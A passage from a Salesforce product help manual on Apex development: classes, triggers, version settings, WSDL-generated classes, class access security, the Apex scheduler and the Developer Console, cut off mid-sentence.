Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For example, a developer might write an Apex test that makes assumptions about a subscriber's data. If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help. If you're a developer and an install fails due to an Apex test failure, check for the following: Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that exists If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test might fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the creation fails due to these conflicts, you might be safe to ignore the error and continue the test. Otherwise, contact the customer and determine the impact.

Trialforce
Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Use Trialforce to create free trials of your application so that customers can try before they buy. To create a Trialforce organization, click Template Organizations. To set the branding on your free trial, so that the login experience and email correspondence has your company's look and feel, click Branding.

1823

Develop

Development Overview

DEVELOP
Development Overview
Click Your Name > Setup > Develop to access the following options. These app builder tools may require some programming knowledge: Apex Classes Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional business logic to your custom applications. Apex Triggers Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization. Working with Apex Test Execution Available in Developer, Enterprise, and Unlimited Editions only. Run Apex unit tests and view test results. API Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate external applications with Salesforce. Components Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom Visualforce components that you can use in one or more Visualforce pages. Custom Settings Available in Group, Personal, Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your organization. Email Services Available in Developer, Enterprise, and Unlimited Editions. Define Apex classes that can process inbound email. Pages Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce pages that display your own custom user interfaces. S-Controls Edit Java applets or Active-X controls for use in dynamic custom links or Web tabs. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.

1824

Develop

Apex Code Overview

Sites Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated into Salesforce. Static Resources Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript programs, and other files. Remote Access Available in all editions. Create and manage a remote access application. A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application. Tools Available in Developer, Enterprise, and Unlimited Editions only. Download tools that can assist you with building, debugging, testing, and deploying Apex.

See Also:
App Builder Tools Overview App Setup Overview

Apex Code Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Apex is a strongly-typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects. Apex can be stored on the platform in two different forms: A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code under Your Name > Setup > Develop > Apex Classes. See Managing Apex Classes on page 1829. A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. See Managing Apex Triggers on page 1839.

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into account during code execution. You must have at least 75% of your Apex covered by unit tests before you can deploy your code to production environments. In addition, all triggers must have some test coverage. See About Apex Unit Tests on page 1861.

1825

Develop

Defining Apex Classes

After creating your classes and triggers, as well as your tests, replay the execution using the Developer Console. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. For more information on deploying Apex, see Deploying Apex Scripts in the Force.com Apex Code Developer's Guide. For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Defining Apex Classes Viewing Apex Classes Apex Class Security Overview Creating an Apex Class from a WSDL Defining Apex Triggers What is a Debug Log? About the Force.com Developer Console About Apex Unit Tests Monitoring Debug Logs Using the Apex Tools Handling Apex Exceptions in Managed Packages Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

Apex classes are stored as metadata in the application. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To create a class:

1826

Develop

Defining Apex Classes

1. In the application, click Your Name > Setup > Develop > Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. In the Body text box, enter the Apex for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class. Once saved, classes can be invoked through class methods or variables by other Apex, such as a trigger. Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

See Also:
Apex Code Overview Managing Apex Classes Viewing Apex Classes About Apex Unit Tests Creating an Apex Class from a WSDL Apex Class Security Overview Managing Version Settings for Apex Using the Editor for Visualforce or Apex Developer's Guide: Force.com Apex Code Developer's Guide

Managing Version Settings for Apex

1827

Develop

Managing Version Settings for Apex

Available in: Unlimited, Developer, Enterprise, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Apex version for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger. 3. Click Save. To configure the package version settings for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. 3. Click Save. Note the following when working with package version settings: If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default.

1828

Develop

Managing Apex Classes

You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.

See Also:
Apex Code Overview Defining Apex Classes Defining Apex Triggers Managing Apex Classes Managing Apex Triggers Viewing Apex Classes Apex Class Security Overview Managing Packages About Package Versions Developer's Guide: Force.com Apex Code Developer's Guide

Managing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be invoked by other Apex code, or through the Web services API (or AJAX Toolkit) for methods that have been designated with the webService keyword. To create an Apex class, click New and write your Apex in the application editor. See Defining Apex Classes on page 1826. While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide, classes can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. Click Generate From WSDL to generate an Apex class from a WSDL document. Once you have created an Apex class, you can do any of the following: Click Edit next to the class name to modify its contents in a simple editor. Click Del next to the class name to delete the class from your organization. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com

1829

Develop

Managing Apex Classes

IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. You cannot delete a class that is specified as a controller for a Visualforce page or component. A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special considerations. For more information, see the Force.com Quick Reference for Developing Packages. A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in a managed package. A icon indicates that an Apex class in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex class through the package detail page. See Deleting Components From Managed Packages If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a WSDL document from the class contents. This document contains all of the information necessary for a client to consume Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL document. Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level entry points, such as Web service methods. For classes that are installed in your organization as part of a managed package, this link only displays for those defined as global. Click Calculate your organization's code coverage to find out how much of the Apex code in your organization is currently covered by unit tests. This percentage is based on the latest test results. If you have no test results, code coverage is listed at 100%. For more information, see About Apex Unit Tests on page 1861. Note: The code coverage value computed by Calculate your organization's code coverage may differ from the code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't. Click the percentage number in the Code Coverage column to see which lines in a class have been covered by Apex unit tests. If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more information, see About Apex Unit Tests on page 1861. Click Compile all classes to compile all the Apex classes in your organization. If you have classes that are installed from a managed package and that have test methods or are test classes, you must compile these classes first before you can view them and run their test methods from the Apex Test Execution page. Managed package classes can be compiled only through the Compile all classes link because they cannot be saved. Otherwise, saving Apex classes that aren't from a managed package causes them to be recompiled. This link compiles all the Apex classes in your organization, whether or not they are from a managed package. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand

1830

Develop

Viewing Apex Classes

templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 1782.

See Also:
Apex Code Overview Defining Apex Classes Viewing Apex Classes Creating an Apex Class from a WSDL Apex Class Security Overview Understanding Dependencies About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

After you have created a class, you can view the code contained in the class, as well as the API against which the class was saved, and if the class is valid or active. Click Your Name > Setup > Develop > Apex Classes, then click the name of the class you want to view. While viewing a class, you can do any of the following: Click Edit to make changes to the class. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special considerations. For more information, see the Force.com Quick Reference for Developing Packages. A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in a managed package. A icon indicates that an Apex class in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex class through the package detail page. Click Delete to delete the class.

1831

Develop

Viewing Apex Classes

Note: You cannot delete a class that is specified as a controller for a Visualforce page or component.

If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on the class. Note: You cannot generate a WSDL document for classes defined as isTest.

Click Download to download a copy of your Apex. Click Run Test to run the unit tests contained in the class. Click Security to set the Apex class level security. Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be valid. For more information, see Understanding Dependencies on page 1801.

The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to other Apex code. The Class Summary tab lists the access level and signature for each method and variable in an Apex class, as well as any inner classes. If there is no prototype available, this tab is not available. Note: For Apex classes not included in managed packages, only classes, methods and variables defined as either global or public are displayed. For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular property or method was introduced. You can select a version number from the drop-down list to see the prototype for the selected package version. The default value is the current installed version. A package developer can deprecate an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only classes, methods and variables defined as global are displayed in prototypes for managed package classes.

If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the Version Settings tab lists the package versions of the packages containing the referenced components. The Log Filters tab displays the debug log categories and debug log levels that you can set for the class. For more information, see Debug Log Filtering for Apex Classes and Apex Triggers on page 1877.

See Also:
Apex Code Overview Managing Apex Classes Defining Apex Classes About Apex Unit Tests Creating an Apex Class from a WSDL Apex Class Security Overview Using the Editor for Visualforce or Apex About Package Versions Managing Version Settings for Apex Developer's Guide: Force.com Apex Code Developer's Guide

1832

Develop

Creating an Apex Class from a WSDL

Creating an Apex Class from a WSDL


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

An Apex class can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary. To access this functionality: 1. In the application, click Your Name > Setup > Develop > Apex Classes. 2. Click Generate from WSDL. 3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating. Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes. For example, the Salesforce SOAP API WSDL cannot be parsed. 5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 1 million characters total. 6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view successfully-generated code. The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex. For an example, see the Force.com Apex Code Developer's Guide. Note the following about the generated Apex:

1833

Develop

Apex Class Security Overview

If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example, limit in a WSDL document converts to limit_x in the generated Apex class. For a list of reserved words, see the Force.com Apex Code Developer's Guide. If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.

See Also:
Apex Code Overview Managing Apex Classes Viewing Apex Classes Defining Apex Classes Apex Class Security Overview Developer's Guide: Force.com Apex Code Developer's Guide

Apex Class Security Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

You can specify which users can execute methods in a particular top-level Apex class based on their profile or an associated permission set. These permissions only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of a user's permissions. Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in that package that are declared as global, or for classes that contain methods declared as webService. If users have the Author Apex permission, they can access all Apex classes in the associated organization, regardless of the security setting for individual classes. Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. The controller associated with the custom component executes regardless of permissions. You can set Apex class security via: The Apex class list page An Apex class detail page Permission sets

1834

Develop

Apex Class Security Overview

Profiles

See Also:
Apex Code Overview Managing Apex Classes Visualforce Overview Developer's Guide: Force.com Apex Code Developer's Guide

Setting Apex Class Access from the Class List Page


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To set Apex class security: Author Apex AND Customize Application

1. Click Your Name > Setup > Develop > Apex Classes. 2. Next to the name of the class that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 4. Click Save.

See Also:
Apex Class Security Overview

Setting Apex Class Access from the Class Detail Page

1835

Develop

Apex Class Security Overview

Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To set Apex class security: Author Apex AND Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Develop > Apex Classes. Click the name of the class that you want to restrict. Click Security. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save.

See Also:
Apex Class Security Overview

Setting Apex Class Access from Permission Sets


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To edit Apex class access settings: Manage Users

You can specify which methods in a top-level Apex class are executable for a permission set. These settings only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of permission settings. 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set. Click Apex Class Access. Click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.

1836

Develop

Apex Class Security Overview

6. Click Save.

See Also:
Apex Class Security Overview Permission Sets Overview

Setting Apex Class Access from Profiles


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To edit profiles: Manage Users AND Customize Application

You can specify which methods in a top-level Apex class are executable for a profile. These settings only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of profile settings. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the Apex Class Access page or related list, click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 5. Click Save.

See Also:
Apex Class Security Overview User Profiles Overview

Defining Apex Triggers

1837

Develop

Defining Apex Triggers

Available in: Unlimited, Developer, Enterprise, and Database.com Editions Standard Objects, Campaigns, Cases, and Emails are not available in Database.com.

User Permissions Needed To define Apex triggers: Author Apex

Apex triggers are stored as metadata in the application under the object with which they are associated. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To define a trigger: 1. For a standard object, click Your Name > Setup > Customize, click the name of the object, then click Triggers. For a custom object, click Your Name > Setup > Create > Objects and click the name of the object. For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Triggers. For case comments, click Your Name > Setup > Cases > Case Comments > Triggers. For email messages, click Your Name > Setup > Cases > Email Messages > Triggers. 2. In the Triggers related list, click New. 3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default. 5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length. To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert

1838

Develop

Managing Apex Triggers

after update after delete after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

6. Click Save. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

See Also:
Apex Code Overview Managing Apex Triggers Managing Version Settings for Apex Using the Editor for Visualforce or Apex Developer's Guide: Force.com Apex Code Developer's Guide

Managing Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, and show dependencies for Apex triggers: Author Apex

A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects, triggers are located at Your Name > Setup > Customize > Standard_Object_Name > Triggers, and on the object detail page for custom objects at Your Name > Setup > Create > Objects.

1839

Develop

Managing Apex Triggers

Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 1782. Click New to create an Apex trigger. Note: You can only create triggers from the associated object, not from the Apex Triggers page.

Once you have created an Apex trigger: Click Edit next to the trigger name to modify its contents in a simple editor. Click Del next to the trigger name to delete the trigger from your organization. Click the percentage number in the Code Coverage column to see which lines in a trigger have been covered by Apex unit tests. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in a managed package. A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting Components From Managed Packages

See Also:
Apex Code Overview Defining Apex Triggers Viewing Apex Trigger Details Understanding Dependencies Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Trigger Details

1840

Develop

Viewing Apex Trigger Details

Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To view Apex triggers: Author Apex

Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all triggers by clicking Your Name > Setup > Develop > Apex Triggers. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To view the details for a trigger, click Your Name > Setup > Develop > Apex Triggers, then click the name of the trigger. You can also access the trigger details from the object. For a standard object, click Your Name > Setup > Customize, click the name of the object, click Triggers, then click the name of the trigger. For a custom object, click Your Name > Setup > Create > Objects, click the name of the object, then click the name of the trigger. From the trigger detail page, you can do any of the following: Click Edit to modify the contents of the trigger. Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in a managed package. Click Delete to delete the trigger from your organization. Click Show Dependencies to display the items, such as fields, s-controls, or classes, that are referenced by the Apex code contained in the trigger. Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name, with the filetype of .trg.

The trigger detail page shows the following information for a trigger: The name of the trigger The name of the object with which the trigger is associated, such as Account or Case. The API version that the trigger has been saved against. Whether a trigger is valid. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

1841

Develop

Scheduling Apex

Whether the trigger is active. The text of the Apex code contained in the trigger. If trigger references components in installed managed packages, such as an Apex class, a Visualforce page, a custom object, and so on, the Version Settings section lists the package versions of the packages containing the referenced components. If the trigger is contained in an installed managed package, the Installed Package indicates the package name.

The Log Filters tab displays the debug log categories and debug log levels that you can set for the trigger. For more information, see Debug Log Filtering for Apex Classes and Apex Triggers on page 1877.

See Also:
Apex Code Overview Managing Apex Triggers Defining Apex Triggers About Package Versions Managing Version Settings for Apex Developer's Guide: Force.com Apex Code Developer's Guide

Scheduling Apex
Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job using the Salesforce user interface. The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more information about class permissions, see Apex Class Security Overview on page 1834. Important: Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. To schedule jobs using the Apex scheduler: 1. 2. 3. 4. Implement the Schedulable interface in an Apex class that instantiates the class you want to run. Click Your Name > Setup > Develop > Apex Classes and click Schedule Apex. Specify the name of a class that you want to schedule. Specify how often the Apex class is to run. For Weeklyspecify one or more days of the week the job is to run (such as Monday and Wednesday). For Monthlyspecify either the date the job is to run or the day (such as the second Saturday of every month.)

5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once. 6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time. 7. Click Save.

1842

Develop

About the Force.com Developer Console

Note: You can only have ten active or scheduled jobs concurrently.

After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page. Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process, the number of records process, and so on) on the Apex Jobs page.

See Also:
Apex Code Overview Defining Apex Classes Apex Job Queue Developer's Guide: Force.com Apex Code Developer's Guide

About the Force.com Developer Console


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Force.com Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: View All Data Author Apex Author Apex

The Force.com Developer Console is a separate window that displays debugging information, cumulative resources used versus system limits, and source code executed. It can be considered a context-sensitive execution viewer, showing the source of an operation, what triggered that operation, and what occurred afterward. Use the Developer Console to view debug logs that include database events, Apex processing, workflow, and validation logic. Access the Developer Console by clicking Your Name > System Log in the upper right corner of any page. To learn about the different sections of the Developer Console, see Navigating within the Force.com Developer Console on page 1844. To learn about the tools available in the Developer Console, see Working with Views in the Force.com Developer Console on page 1850. To learn more about some typical ways you might use the Developer Console, for example, evaluating Apex triggers, tracking DML, or monitoring performance, see Examples of Using the Developer Console on page 1857.

What Can You Use the Force.com Developer Console For?


The Developer Console offers developers and administrators a variety of tools for examining and troubleshooting the behavior of their Force.com organizations. You can use the Developer Console to investigate a number of aspects of your organization, including: General Debugging and Troubleshooting

1843

Develop

Navigating within the Force.com Developer Console

At the highest level, the Developer Console provides a mechanism to inspect executed requests. It provides a fine-grained log, allowing you to review every statement executed within a request. Additionally, it provides a set of interactive panels that let you simulate an execution step-through. The Developer Console provides a convenient set of tools to efficiently track down logical issues. For example, if you want to understand why a certain request generates an Attempt to de-reference a null object error, you can easily review the execution, identify the offending line, and set a marker to generate a heap dump at that point. You can then execute the process again, and review the request at that specific point in the execution to understand in detail how to improve your code. While the Developer Console can't pause execution like a traditional debugger, it provides cloud developers the same visibility, and reduces the need to instrument code with System.debug commands. Source Code Editing The Developer Console lets you edit triggers and classes within the Developer Console itself. This lets you inspect, trace, and edit your code all in the same tool. The Developer Console also allows the creation of new code, offering the capability of editing and expanding your codebase within a single tool. You can open any number of code objects and switch between them with a single click. Performance Validation The Developer Console has a number of panels dedicated to the inspection of performance characteristics. For example, if you're trying to understand the performance of a request, you can select the 